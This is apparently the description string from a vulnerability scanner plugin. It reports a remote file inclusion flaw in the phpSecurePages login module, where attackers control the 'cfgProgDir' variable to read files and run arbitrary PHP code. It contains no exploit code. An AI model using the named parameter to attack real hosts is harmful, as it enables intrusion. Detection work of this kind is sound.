"The remote host is running phpSecurePages, a PHP module used to secure
pages with a login name / password. 

The installed version of phpSecurePages allows remote attackers to
control the 'cfgProgDir' variable used when including PHP code in
several of the application's scripts.  By leveraging this flaw, an
attacker may be able to view arbitrary files on the remote host and
execute arbitrary PHP code, possibly taken from third-party hosts." );
